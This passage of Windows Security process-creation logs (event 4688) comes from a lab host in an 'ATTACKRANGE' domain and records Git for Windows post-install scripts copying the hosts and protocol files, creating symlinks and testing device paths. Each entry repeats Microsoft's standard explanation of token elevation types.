ID: 0x0 - -Process Information: - New Process ID: 0xe5c - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246176 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x370 - New Process Name: C:\Program Files\Git\usr\bin\cp.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xab4 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\cp.exe" -p -v C:\Windows\system32\drivers\etc\protocol /etc/protocols - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246175 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xab4 - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246174 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x318 - New Process Name: C:\Program Files\Git\usr\bin\expr.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd8c - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\expr.exe" substr protocols 1 8 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246173 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd8c - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246172 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x838 - New Process Name: C:\Program Files\Git\usr\bin\cp.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5e4 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\cp.exe" -p -v C:\Windows\system32\drivers\etc\hosts /etc/hosts - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246171 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e4 - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246170 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa44 - New Process Name: C:\Program Files\Git\usr\bin\expr.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd20 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\expr.exe" substr hosts 1 8 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246169 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd20 - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246168 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe90 - New Process Name: C:\Program Files\Git\usr\bin\cygpath.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x62c - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\cygpath.exe" -S -w - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246167 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x62c - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246166 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe60 - New Process Name: C:\Program Files\Git\usr\bin\ln.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xca8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\ln.exe" -sf /proc/mounts /etc/mtab - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246165 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca8 - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246164 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb4c - New Process Name: C:\Program Files\Git\usr\bin\test.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa1c - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\test.exe" -h /dev/fd - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246163 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa1c - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246162 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd9c - New Process Name: C:\Program Files\Git\usr\bin\test.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe54 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\test.exe" -h /dev/stderr - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246161 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe54 - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246160 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfdc - New Process Name: C:\Program Files\Git\usr\bin\test.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb20 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\test.exe" -h /dev/stdout - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246159 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb20 - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246158 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb18 - New Process Name: C:\Program Files\Git\usr\bin\test.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb24 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\test.exe" -h /dev/stdin - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246157 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb24 